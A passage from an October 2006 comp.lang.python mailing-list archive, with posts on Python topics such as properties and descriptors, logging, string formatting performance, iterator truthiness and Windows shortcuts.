string[, maxsplit = 0]) Split string by the occurrences of pattern. If capturing parentheses are used in pattern, then the text of all groups in the pattern are also returned as part of the resulting list. If maxsplit is nonzero, at most maxsplit splits occur, and the remainder of the string is returned as the final element of the list. (Incompatibility note: in the original Python 1.5 release, maxsplit was ignored. This has been fixed in later releases.) >>> re.split('\W+', 'Words, words, words.') ['Words', 'words', 'words', ''] # Now see what happens when you use capturing parentheses: >>> re.split('(\W+)', 'Words, words, words.') ['Words', ', ', 'words', ', ', 'words', '.', ''] >>> re.split('\W+', 'Words, words, words.', 1) ['Words', 'words, words.'] """ HTH, John From rcrida at gmail.com Fri Oct 20 10:31:52 2006 From: rcrida at gmail.com (Robert) Date: 20 Oct 2006 07:31:52 -0700 Subject: Logging with Logger hierarchies In-Reply-To: <1161352732.357349.311380@h48g2000cwc.googlegroups.com> References: <1161346350.030708.319880@i3g2000cwc.googlegroups.com> <1161352732.357349.311380@h48g2000cwc.googlegroups.com> Message-ID: <1161354712.158806.13530@b28g2000cwb.googlegroups.com> Hi again I have seen my error! I was mistakenly occasionally creating the logger using logger = logging.Logger("a.b.c") instead of logger = logging.getLogger("a.b.c") Doh. I miss my private constructors to save me from such embarrasment ;^) Cheers Robert From cjw at sympatico.ca Sat Oct 21 12:38:12 2006 From: cjw at sympatico.ca (Colin J. Williams) Date: Sat, 21 Oct 2006 12:38:12 -0400 Subject: User Access to the docstring of a property In-Reply-To: <1161358350.212350.170580@m7g2000cwm.googlegroups.com> References: <1161358350.212350.170580@m7g2000cwm.googlegroups.com> Message-ID: George, Thanks to Dietz and yourself. Yes, I should have referenced the class, rather than the instance. However, for methods, the docstring is revealed for an instance. Colin W. PS It would help if someone could explain the use of @apply in the example Dietz gave. The documentation gives no reference to @ or to decorators. georgeryoung at gmail.com wrote: > Colin J. Williams wrote: >> Is there some way that the user can access the docstring specified for a >> property? > > Do keep in mind that the docstring is not guaranteed to be available. > If > the application is run with optimization turned on, docstrings are > usually > optimized out. Docstrings are handy for reading code and maybe for > debugging, but should not be relied upon for "users", as opposed to > developers. > > -- George Young > >> Please see the example below: >> >> # propDocTest >> class A(object): >> def __init__(self, value): >> self.value= value >> def vGet(self): >> return self.value >> V= property (fget= vGet, doc="Get Value.") >> >> a= A(22) >> print a.vGet() >> print a.V >> print a.V.__doc__ # this gives the docstring for the value returned >> help(a.V) # this gives the docstring for the class/type of >> the value returned >> >> Colin W. > From onurb at xiludom.gro Tue Oct 17 12:44:51 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 17 Oct 2006 18:44:51 +0200 Subject: Looking for assignement operator In-Reply-To: <1161101280.999698.26520@i42g2000cwa.googlegroups.com> References: <1161095199.354431.157660@e3g2000cwe.googlegroups.com> <4534edf4$0$24770$426a74cc@news.free.fr> <1161101280.999698.26520@i42g2000cwa.googlegroups.com> Message-ID: <45350884$0$3751$426a74cc@news.free.fr> Jerry wrote: >> class MyClass:Descriptors don't work fine with old-style classes. > Interesting, I have used this construct before in Python 2.4.3 and not > run into the recursion problem you talk about. The recursion problem doesn't occur with you original code (for the good reason that there's a name error way before). It doesn't even occur when the cause of the name error is corrected, since the first (explicit) call to setval() in the __init__ rebind self._val to the value passed - so the property is in fact *never* used. > Also, it has worked > fine for me. For a very peculiar definition of "works fine" !-) > Perhaps you can post a link to your source class MyClass: def __init__(self, val): self.setval(val) print "in __init__, after setval(): self._val is %s" \ % type(self._val) def getval(self): print "in getval - you won't see me unless you explicitely call getval" return self._val def setval(self, val): print "in setval" self._val = val print "you wont see me no more unless you explicitely call setval" _val = property(getval, setval) > so that I > could study it and understand what circumstances my solution works It doesn't work in any circumstances. > and > what the recommended construct actually is. class MyWorkingClass(object): def __init__(self, val): self.val = val def _setval(self, val): print "_setval to %s" % val self._val = val def _getval(self): print "_getval" return self._val val = property(_getval, _setval) >> May I kindly suggest that you learn more about properties and test your >> code before posting ?-) > I did test this on Python 2.4.3 in Mac OS X 10.4 and it worked fine. Here's the exact code you posted: class MyClass: def __init__(self, val): self.setval(val) def getval(self): return self._val def setval(self, val): assert(isinstance(val, int)) self._val = val _val = property(self.getval, self.setval) And here's the result: Traceback (most recent call last): File "", line 1, in ? File "/usr/tmp/python-30955cPK.py", line 1, in ? class MyClass: File "/usr/tmp/python-30955cPK.py", line 15, in MyClass _val = property(self.getval, self.setval) NameError: name 'self' is not defined HTH -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From aahz at pythoncraft.com Fri Oct 6 08:47:40 2006 From: aahz at pythoncraft.com (Aahz) Date: 6 Oct 2006 05:47:40 -0700 Subject: Google breaks Usenet (was Re: How can I correct an error in an old post?) References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> <1160096371.564954.132860@b28g2000cwb.googlegroups.com> <4SmVg.9105$GR.2172@newssvr29.news.prodigy.net> Message-ID: In article <4SmVg.9105$GR.2172 at newssvr29.news.prodigy.net>, Bryan Olson wrote: >Blair P. Houghton wrote: >> >> But they do about 10 things totally wrong with Google groups that >> I'd've fixed in my spare time in my first week if they'd hired me back >> when I was interviewing with them. >> >> So if they want it to work, they know where to find me. > >Doesn't seem likely, does it? But don't let it stop you. You don't >need Google's permission to build a better Usenet service. They >don't have any copyright on the posts, or other special protection. >I'm a former Googler myself and I use their service all the time, >but if yours is better I'll switch. The problem is the network effect. In this case, what Google has that can't be replicated is the history of posts. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "If you don't know what your program is supposed to do, you'd better not start writing it." --Dijkstra From hg at nospam.com Wed Oct 11 16:51:17 2006 From: hg at nospam.com (hg) Date: Wed, 11 Oct 2006 15:51:17 -0500 Subject: nntplib tutorial In-Reply-To: References: Message-ID: Gabriel Genellina wrote: > At Wednesday 11/10/2006 14:46, hg wrote: > >> Is there such a thing ? >> >> Trying to understand the various strings I get hereunder > > A basic understanding of the protocol would help a lot. The RFC 977 > itself is not so hard to read, but you could find some tutorials using > google. > > will give it a shot, thanks From felipe.lessa at gmail.com Sun Oct 29 17:25:36 2006 From: felipe.lessa at gmail.com (Felipe Almeida Lessa) Date: Sun, 29 Oct 2006 20:25:36 -0200 Subject: Event driven server that wastes CPU when threaded doesn't In-Reply-To: <7xlkmyzrz9.fsf@ruckus.brouhaha.com> References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com> <1162156412.199341.315540@i42g2000cwa.googlegroups.com> <7xlkmyzrz9.fsf@ruckus.brouhaha.com> Message-ID: 29 Oct 2006 14:18:02 -0800, Paul Rubin <"http://phr.cx"@nospam.invalid>: > "Nick Vatamaniuc" writes: > > The simplest solution is to change your system and put the DB on the > > same machine thus greatly reducing the time it takes for each DB query > > to complete (avoid the TCP stack completely). > > Since when do any db's let you avoid the TCP stack, even on the same > machine? Since there are Unix sockets? A quick google: http://dev.mysql.com/doc/refman/5.0/en/multiple-unix-servers.html http://archives.postgresql.org/pgsql-hackers/1997-10/msg00568.php -- Felipe. From russandheather at gmail.com Tue Oct 10 13:48:14 2006 From: russandheather at gmail.com (Russell Warren) Date: 10 Oct 2006 10:48:14 -0700 Subject: Funky file contents when os.rename or os.remove are interrupted Message-ID: <1160502494.520457.276080@m7g2000cwm.googlegroups.com> I've got a case where I'm seeing text files that are either all null characters, or are trailed with nulls due to interrupted file access resulting from an electrical power interruption on the WinXP pc. In tracking it down, it seems that what is being interrupted is either os.remove(), or os.rename(). Has anyone seen this behaviour, or have any clue what is going on? On first pass I would think that both of those calls are single step operations (removing/changing an entry in the FAT, or FAT-like thing, on the HDD) and wouldn't result in an intermediate, null-populated, step, but the evidence seems to indicate I'm wrong... Any insight from someone with knowledge of the internal operations of os.remove and/or os.rename would be greatly appreciated, although I expect the crux may be at the os level and not in python. Russ From apoelstra at false.site Tue Oct 24 22:35:37 2006 From: apoelstra at false.site (Andrew Poelstra) Date: Wed, 25 Oct 2006 02:35:37 GMT Subject: return tuple from C to python (extending python) In-Reply-To: <1161728694.741915.170890@m7g2000cwm.googlegroups.com> References: <1161728694.741915.170890@m7g2000cwm.googlegroups.com> Message-ID: <1161743739.9596.0.camel@dsktp> On Tue, 2006-10-24 at 15:24 -0700, Kiran wrote: > Hi all, I want to make python call some C functions, process them and > return them. Try comp.lang.python -- Andrew Poelstra From bj_666 at gmx.net Sat Oct 28 05:42:42 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Sat, 28 Oct 2006 11:42:42 +0200 Subject: question about True values References: <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> <1161973508.972142.109500@i42g2000cwa.googlegroups.com> Message-ID: In , Steven D'Aprano wrote: > On Fri, 27 Oct 2006 11:25:09 -0700, Carl Banks wrote: > >> Iterators do have overlapping uses with lists, but the "if a:" doesn't >> work for them, so it's moot. > > Sure it works for iterators. > >>>> it = iter([0]) >>>> bool(it) > True >>>> it.next() > 0 >>>> bool(it) > False It works for *this* iterator. By accident. Ciao, Marc 'BlackJack' Rintsch From mail at microcorp.co.za Fri Oct 27 01:50:46 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Fri, 27 Oct 2006 07:50:46 +0200 Subject: displaying \n-less prompts in a pythonic way References: <_pGdnRgy36cLON3YnZ2dnUVZ_s2dnZ2d@comcast.com> Message-ID: <032601c6f995$4e619860$03000080@hendrik> "Steve Holden" wrote: 8<----------------------------------------------------------- > >>> mystr = raw_input("Who is this? ") > Who is this? Steve how did you know how to answer that? - Hendrik From rpdooling at gmail.com Wed Oct 11 17:45:26 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 11 Oct 2006 14:45:26 -0700 Subject: python 2.5 & sqlite3 In-Reply-To: References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com> Message-ID: <1160603125.964879.17480@m73g2000cwd.googlegroups.com> Fredrik Lundh wrote: > wasting time on broken distributions? It's not broken. I like Pythonwin better than IDLE. Either way I need to know where to put the sqlite files, right? rd From hanumizzle at gmail.com Fri Oct 13 11:57:03 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 11:57:03 -0400 Subject: Line algorithim for python and numeric In-Reply-To: References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com> Message-ID: <463ff4860610130857q241ee7afy8bd6c3edde48bb34@mail.gmail.com> On 10/13/06, Paul McGuire wrote: > "Theerasak Photha" wrote in message > news:mailman.449.1160750510.11739.python-list at python.org... > > On 13 Oct 2006 07:33:17 -0700, bcdonovan at gmail.com > > wrote: > >> Hi everyone, > >> > >> I'm wondering if anyone knows of a way to extract data from a numeric > >> array along a line. I have a gridded dataset which I would like to be > >> able to choose two points and extract a 1-d array of the data values > >> along the line between the two points. Any ideas? > > > > Are these all 45 degree lines or what? > > > > If not, you'll have to use trigonometry and approximate the closest > > matching cell. (Don't worry, Python has maths functions!! :)) > > > > -- Theerasak > > No need for that messy trig stuff - simpler and faster would be to use > linear interpolation, since you know the starting and ending cell > coordinates, and how many values you want, compute the array of... oh, hell, > here it is: I'm not in kolluge yet and I just learned about linear interpolation today---although I don't think it would necessarily apply to this problem, where the increments set by the grid might be more discrete than the line itself (hope you see what my innumerate self is trying to say!!), thanx for teaching me something new. :) To myself: Gee duh, Theerasak, it make sense now! -- Theerasak From __peter__ at web.de Mon Oct 9 07:18:19 2006 From: __peter__ at web.de (Peter Otten) Date: Mon, 09 Oct 2006 13:18:19 +0200 Subject: can compile function have a bug? References: <1160274901.447221.45720@e3g2000cwe.googlegroups.com> <1160387654.232351.238200@i42g2000cwa.googlegroups.com> Message-ID: John Machin wrote: > But it's not an all-UTF-8 environment; his_encoding = 'gb2312' or one > of its heirs/successors :-) Ouch. Almost understanding a problem hurts more than not understanding it at all. I just had a refresher of the experience... Peter From johnjsal at NOSPAMgmail.com Wed Oct 18 16:55:41 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 18 Oct 2006 20:55:41 GMT Subject: Classes and Functions - General Questions In-Reply-To: <1161200542.603408.94630@k70g2000cwa.googlegroups.com> References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com> Message-ID: Setash wrote: > And have class2 inherit class1 without any import statements, or need > it be imported first? > Or need class1 and class2 be both declared in the same .py file if > there is inheritance? If the classes are in the same module, you don't need to do any importing or qualification. If they are in separate modules, you need to import the necessary module(s) and then you can use its contents. > 2) Function overloading - is it possible? > > Can I have the following code, or something which acts the same in > python?: > > > def function(a, b) > do things > > def function(a, b, c) > do things only if I get a third argument I don't know all the details, but you can't do this with Python. One alternative is to use an arbitrary number of arguments with the *args parameter. From fulvio at tm.net.my Thu Oct 26 08:31:25 2006 From: fulvio at tm.net.my (Fulvio) Date: Thu, 26 Oct 2006 20:31:25 +0800 Subject: Handling emails In-Reply-To: References: Message-ID: <200610262031.25448.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Wednesday 25 October 2006 13:06, Dennis Lee Bieber wrote: > # based upon bits from the (Active)Python 2.4 help system and other > code... OK, good help, Thank you. As I had confessed, that code was extrapolated from other sources and I took it for granted as long as is working on my purpose. Most of my purpose is to get the whole mail. Last function has no use. Both code doing well the only difference is the way to call email.message_from_(file|string) F From MonkeeSage at gmail.com Thu Oct 5 21:42:37 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 5 Oct 2006 18:42:37 -0700 Subject: building strings from variables References: Message-ID: <1160098957.196734.192950@i3g2000cwc.googlegroups.com> wesley chun wrote: > from the performance standpoint, i believe that #4 (list join) from > scott is the fastest. #1 (string formatting) is next preferred only > because #3 (string concat) is the worst [think "realloc()"]. #2 is > useful for when you have users who aren't as comfortable with #1. I might have done something wrong here, but it looks like the % operator would be the fastest (negligibly). And string.Template is horribly slow(!). import os, sys, string, timeit hl = [['working_dir', os.getcwd()], ['ssh_cmd' , 'ssh'], ['some_count' , 5], ['some_param1', 'cheese'], ['some_param2', 'burger']] hd = dict(hl) ht = tuple(map(lambda x: x[1], hl)) sys.modules['__main__'].__dict__.update(hd) def make_string_fmt(): out = "cd %s ; %s %d %s %s" % ht def make_string_cat(): out = "cd "+working_dir+" ; "+ssh_cmd+" "+str(some_count)+" "+\ some_param1+" "+some_param2 def make_string_lst(): out = ' '.join(["cd", working_dir, ";", ssh_cmd, str(some_count), some_param1, some_param2]) def make_string_tmp(): out = string.Template("cd $working_dir ; $ssh_cmd" "$some_count $some_param1 $some_param2")\ .substitute(hd) print "String formatting time:" print timeit.Timer("make_string_fmt()", "from __main__ import make_string_fmt").timeit() print "String concatination time:" print timeit.Timer("make_string_cat()", "from __main__ import make_string_cat").timeit() print "List join time:" print timeit.Timer("make_string_lst()", "from __main__ import make_string_lst").timeit() print "Template substitution time:" print timeit.Timer("make_string_tmp()", "from __main__ import make_string_tmp").timeit() ======== Output: String formatting time: 4.62050509453 String concatination time: 5.90371489525 List join time: 6.72425699234 Template substitution time: 66.4205350876 Regards, Jordan From steve at REMOVE.THIS.cybersource.com.au Sat Oct 28 03:45:14 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sat, 28 Oct 2006 17:45:14 +1000 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> <1161973508.972142.109500@i42g2000cwa.googlegroups.com> Message-ID: On Fri, 27 Oct 2006 11:25:09 -0700, Carl Banks wrote: > Steven D'Aprano wrote: >> But in this specific instance, I don't see any advantage to explicitly >> testing the length of a list. Antoon might think that is sufficiently >> polymorphic, but it isn't. He cares whether the object has zero _length_, >> but for true polymorphism, he should be caring about whether the object is >> _empty_. Not all empty objects have zero length, or even a length at all. >> (E.g. binary trees.) > > Conversely, not all objects that have length consider zero-length to be > false. Which is why truth-testing is defined by __nonzero__ with __len__ only the fall-back, for convenience. > Whether you test with "if a:" or "if len(a)>0", some objects > are going to be denied. If a class doesn't define __nonzero__ or __len__, it should. Unless it is meant to always be True. > Thing is, objects that don't have length have almost no overlapping > uses with lists (i.e., you'd hardly ever write a function that could > take an int or a list, unless you type check the argument or use only > object protocol stuff like id and getattr, or pass it to another > function that does the same). Iterators do have overlapping uses with > lists, but the "if a:" doesn't work for them, so it's moot. Sure it works for iterators. >>> it = iter([0]) >>> bool(it) True >>> it.next() 0 >>> bool(it) False Perhaps this behaviour has changed in version 2.5, if so, I'd like to hear the rationalisation before I declare it a mistake. > P.S. binary trees do have length: it's the number of nodes, just as the > number of keys is the length of a dict. I don't know what you were taught, but I was taught that binary trees have height and breadth. "Length" was never used for the number of nodes. If you go to the trouble of walking the tree, you obviously get the equivalent of a list with a length, but in all the texts I've read, walking the entire tree is the classic example of an expensive operation that you should try to avoid if you don't need to. The same goes for counting the number of nodes, unless you wanted to cache the result somewhere. -- Steven. From gagsl-py at yahoo.com.ar Fri Oct 20 16:02:20 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 20 Oct 2006 17:02:20 -0300 Subject: Using Python scripts in Windows Explorer In-Reply-To: <1161357605.861266.144980@m73g2000cwd.googlegroups.com> References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com> Message-ID: <7.0.1.0.0.20061020170023.05bb0ab0@yahoo.com.ar> At Friday 20/10/2006 12:20, Ben Sizer wrote: >I'd like to be able to drag a file onto a Python script in Windows >Explorer, or send that file to the script via the Send To context-menu >option, so I can then process that file via sys.argc. > >Unfortunately, I can't drag items onto the Python script, because >Windows doesn't recognise that the script is executable (unless I >double-click it, upon which it runs as usual, without the command line >parameter of course) Create a shortcut and drop the file over it. >and won't set it as a drop target. And it won't >even appear in the Send To menu after the usual steps are taken to get >it there. Same here: put a shortcut to the script on your SendTo folder (wherever it resides) -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From michele.simionato at gmail.com Wed Oct 18 04:27:22 2006 From: michele.simionato at gmail.com (Michele Simionato) Date: 18 Oct 2006 01:27:22 -0700 Subject: creating many similar properties In-Reply-To: <1161158181.103138.294330@b28g2000cwb.googlegroups.com> References: <1161153829.566566.73960@b28g2000cwb.googlegroups.com> <1161158181.103138.294330@b28g2000cwb.googlegroups.com> Message-ID: <1161160042.410129.220110@k70g2000cwa.googlegroups.com> George Sakkis wrote: > > from itertools import chain, izip, repeat > > def ByteProperties(*names, **defaulted_names): > def byte_property(name, default): > return property(lambda self: getattr(self, name, default), > lambda self,v: setattr(self, name, v%256)) > def make_class(clsname, bases, dict): > for name,default in chain(izip(names, repeat(127)), > defaulted_names.iteritems()): > assert name not in dict # sanity check > dict[name] = byte_property('_'+name, default) > return type(clsname,bases,dict) > return make_class > > > class RC(object): > __metaclass__ = ByteProperties('pwm01', pwm02=64) Notice that you are NOT using a custom metaclass here, you are just using the metaclass hook and you will avoid all issues of custom metaclasses. This is exactly the approach I advocate in the paper I referred before, so I think your solution is pretty safe in that respect. Still I think in this particular problem avoiding the __metaclass__ at all is possible and it should be preferred, just for sake of simplicity, not of safety). Michele Simionato M From guido.thelen at googlemail.com Thu Oct 19 17:47:17 2006 From: guido.thelen at googlemail.com (guido.thelen at googlemail.com) Date: 19 Oct 2006 14:47:17 -0700 Subject: Insert characters into string based on re ? References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com> Message-ID: <1161294437.623792.37740@i3g2000cwc.googlegroups.com> Hi, initially I had the same idea before I started writing a SQL Formatter. I was sure that coding a few "change" commands in a script would reformat my SQL statements. But step by step I recognized that SQL statements can not be formatted by regular expressions. Why not? Because there is a risk that you change e.g. values in literals and this is changing the result of a query!! Example: --> Select pieces where status like "Join with master piece" Inserting line-breaks before joins using a "change" command would change the SQL statement into --> Select pieces where status like "\nJoin with master piece" The new select statement is no more working in the same way as the original one. In the meantime, the "script" has about 80 pages of code ..... Regards GuidoMarcel From rpdooling at gmail.com Mon Oct 30 11:26:33 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 30 Oct 2006 08:26:33 -0800 Subject: IE7 skulduggery? References: <1162215096.900543.78860@k70g2000cwa.googlegroups.com> Message-ID: <1162225593.375844.182300@m7g2000cwm.googlegroups.com> Found fix for this at Mozilla: http://kb.mozillazine.org/Default_browser Apparently, even though it LOOKS and ACTS like Firefox is still your default browser after an IE7 upgrade, it's not. To fix, you must run: firefox.exe -silent -nosplash -setDefaultBrowser Which also fixes the webbrowser. py problem. At least so far. rd From sturlamolden at yahoo.no Wed Oct 25 13:50:00 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 25 Oct 2006 10:50:00 -0700 Subject: Python's CRT licensing on Windows <-- FUD In-Reply-To: <453FA03E.8070105@v.loewis.de> References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com> <1161794422.707799.273200@b28g2000cwb.googlegroups.com> <453FA03E.8070105@v.loewis.de> Message-ID: <1161798600.027493.110240@e3g2000cwe.googlegroups.com> Martin v. L?wis wrote: > As Fredrik Lundh says: Ask your lawyer. We cannot really interpret the > Microsoft license for you (I can only give it to you in case you don't > have it), and I can't formally give you permission to do copy something > that Microsoft has the copyright to. I wasn't asking you to. > So what do you hope to get from the newsgroup article? Maybe someone have gone through the trouble and got a clear answer from Microsoft. > Free legal > advice? You can't really get that; you can only get opinions. You > still have to draw your own conclusions. You only get "opinions" from lawyers as well. I am not really interested in anyone's opinion, lawyer or not. From noway at sorry.com Wed Oct 4 03:43:21 2006 From: noway at sorry.com (Giovanni Bajo) Date: Wed, 04 Oct 2006 07:43:21 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: A.M. Kuchling wrote: >> ... using a non open source tracker (called JIRA - never heard >> before of course) for Python itself. > > Other projects do use it; see > for a partial list, and a > link to the Apache Software Foundation's issue trackers. which, in my humble opinion, is just a list of other examples of projects which are misguided. People seem to have no idea when a company is sold, when a CEO is changed, or something like that. Hhistory's repeating, but hackers are not learning. >> Does this smell "Bitkeeper fiasco" to anyone else than me? > > The committee did expect this recommendation to be controversial. :) I guess :) In fact, I have a deepest hope that this recommendation was just a fake just to get people setup a roundup installation... -- Giovanni Bajo From msherman77 at yahoo.com Tue Oct 31 17:09:30 2006 From: msherman77 at yahoo.com (Michael S) Date: Tue, 31 Oct 2006 17:09:30 -0500 (EST) Subject: report progress from C function Message-ID: <20061031220930.49523.qmail@web88307.mail.re4.yahoo.com> Good day all. I rewrote part of my program in C, it's a usually a long task. I wanted to be able to report the progress back to my python program. In my module (in addition to the function that performs the above-mentioned task) there is a function that returns the variable, indicating the progress. However I am not sure how to call it. Once I call the C function that does the work (it's a while loop that takes minutes sometimes) I can't call that progress function. Any ideas? Thanks in advance, Michael From eurleif at ecritters.biz Tue Oct 3 18:21:20 2006 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Tue, 03 Oct 2006 18:21:20 -0400 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> Message-ID: <4522e238$0$25774$4d3efbfe@news.sover.net> erikwickstrom at gmail.com wrote: > I'm trying to get this bit of code to work without triggering the > IndexError. > > import shutil, os, sys > > if sys.argv[1] != None: > ver = sys.argv[1] > else: > ver = '2.14' Catch it: try: ver = sys.argv[1] except IndexError: ver = '2.14' From fredrik at pythonware.com Mon Oct 2 03:59:45 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 2 Oct 2006 09:59:45 +0200 Subject: Problem with .next() method adding junk characters. References: <1159761338.068956.245450@h48g2000cwc.googlegroups.com> Message-ID: "Rainy" wrote: > I'm just curious as to what's happening. I understand that you're not > supposed to call .next on a file open for writing. But I don't know why > and how it does what happened here; besides, I've seen the same thing > happen before when I was doing something else with file > open/write/close, but I don't remember the specifics. C's stdio library require you to call "flush" when switching between reading and writing; if you don't, the result is undefined. From fredrik at pythonware.com Sat Oct 28 05:16:17 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 28 Oct 2006 11:16:17 +0200 Subject: Where do nested functions live? In-Reply-To: <871wosdfvr.fsf@benfinney.id.au> References: <871wosdfvr.fsf@benfinney.id.au> Message-ID: Ben Finney wrote: > If you want something that can be called *and* define its attributes, > you want something more complex than the default function type. Define > a class that has a '__call__' attribute, make an instance of that, and > you'll be able to access attributes and call it like a function. I turned Steven's question and portions of the answers into a Python FAQ entry: http://effbot.org/pyfaq/where-do-nested-functions-live.htm Hope none of the contributors mind. From skip at pobox.com Tue Oct 24 14:43:14 2006 From: skip at pobox.com (skip at pobox.com) Date: Tue, 24 Oct 2006 13:43:14 -0500 Subject: mean ans std dev of an array? In-Reply-To: <1161713593.138960.310030@f16g2000cwb.googlegroups.com> References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com> <7xpsci665e.fsf@ruckus.brouhaha.com> <1161713593.138960.310030@f16g2000cwb.googlegroups.com> Message-ID: <17726.24258.697571.695473@montanaro.dyndns.org> >> n = len(a) >> mean = sum(a) / n >> sd = sqrt(sum((x-mean)**2 for x in a) / n) ... >> If there is a faster way... like transferring the array to a >> different container class... but what? Perhaps: >>> import scipy >>> print scipy.mean([1,2,3,4,5,6]) 3.5 >>> print scipy.std([1,2,3,4,5,6]) 1.87082869339 Skip From bruno at modulix.org Wed Oct 11 16:00:05 2006 From: bruno at modulix.org (bruno de chez modulix en face) Date: 11 Oct 2006 13:00:05 -0700 Subject: How to be a good programmers? In-Reply-To: <1160588630.961337.213260@m7g2000cwm.googlegroups.com> References: <1160588630.961337.213260@m7g2000cwm.googlegroups.com> Message-ID: <1160596805.449337.81350@c28g2000cwb.googlegroups.com> rijamoria at gmail.com a ?crit : > I just started to learn python programming because I need to be in the > group when google come in Madagascar, So I want to know, what kind of > python programming I have to start to learn? Zope?...? Not sure what you mean about Google and "being in the group", but Google doesn't use Zope AFAICT - and I'd rather not start learning Python with Zope anyway. Why not learning the language first ? This won't make you a "good programmer", but that's where I'd start anyway... From duncan.booth at invalid.invalid Fri Oct 13 07:46:52 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 13 Oct 2006 11:46:52 GMT Subject: Insert characters into string based on re ? References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com> <1160738594.288895.136560@i42g2000cwa.googlegroups.com> Message-ID: harvey.thomas at informa.com wrote: > > Matt wrote: >> I am attempting to reformat a string, inserting newlines before >> certain phrases. For example, in formatting SQL, I want to start a >> new line at each JOIN condition. Noting that strings are immutable, I >> thought it best to spllit the string at the key points, then join >> with '\n'. > > I think that re.sub is a more appropriate method rather than split and > join > > trivial example (non SQL): > >>>> addnlre = re.compile('LEFT\s.*?\s*JOIN|RIGHT\s.*?\s*JOIN', >>>> re.DOTALL + re.IGNORECASE).sub addnlre(lambda x: x.group() + '\n', >>>> '... LEFT JOIN x RIGHT OUTER join y') > '... LEFT JOIN\n x RIGHT OUTER join\n y' > > Quite apart from the original requirement being to insert newlines before rather than after the phrase, I wouldn't have said re.sub was appropriate. >>> addnlre(lambda x: x.group() + '\n', "select * from whatever where action in ['user left site', 'user joined site']") "select * from whatever where action in ['user left site', 'user join\ned site']" or with the newline before the pattern: >>> addnlre(lambda x: '\n'+x.group(), "select * from whatever where action in ['user left site', 'user joined site']") "select * from whatever where action in ['user \nleft site', 'user joined site']" From chris.cavalaria at free.fr Fri Oct 20 10:29:26 2006 From: chris.cavalaria at free.fr (Christophe) Date: Fri, 20 Oct 2006 16:29:26 +0200 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> Message-ID: <4538dd3b$0$24774$426a74cc@news.free.fr> Kevin Walzer a ?crit : > Am I better off biting the bullet and learning wxPython--a different GUI > paradigm to go with the new language I'm trying to learn? I had hoped to > reduce my learning curve, but I'm very concerned that I simply can't do > what I want to do with Tkinter. What do other Tkinter developers think? Nobody mentionned it, but I think you should try PyQT and PyGTK before wxPython. Myself, I do not like wx : it looks too much like the MFC. PyGTK is good, but GTK doesn't work that well on windows. PyQT is very good but you need Qt4 to get a free version for Windows. And it is GPL so it might not be what you are looking for. Or you can pay for it and get the non GPL version. From duncan.booth at invalid.invalid Thu Oct 5 06:48:36 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 5 Oct 2006 10:48:36 GMT Subject: Why do this? References: Message-ID: "Matthew Warren" wrote: > Print "There are "+number+" ways to skin a "+furryanimal > > But nowadays, I see things like this all over the place; > > print("There are %s ways to skin a %s" % (number, furryanimal)) > > Now I understand there can be additional formatting benefits when > dealing with numbers, decimal places etc.. But to me, for strings, the > second case is much harder to read than the first. > apart from the spurious parentheses you added in the second one, you also missed out this variant: print "There are", number, "ways to skin a", furryanimal That only works for print though, not for other uses of strings, but it is related to the main reason I use format strings instead of concatenation. The problem I have with your first option is the large number of times I've written: print "There are"+number+"ways to skin a"+furryanimal or at least something equivalent to it. If I try to make the same mistake with a format string it jumps out to me as wrong: "There are%sways to skin a%s" % (number, furryanimal) Also, having a variable of type str called 'number' seems perverse (and probably error prone), so I 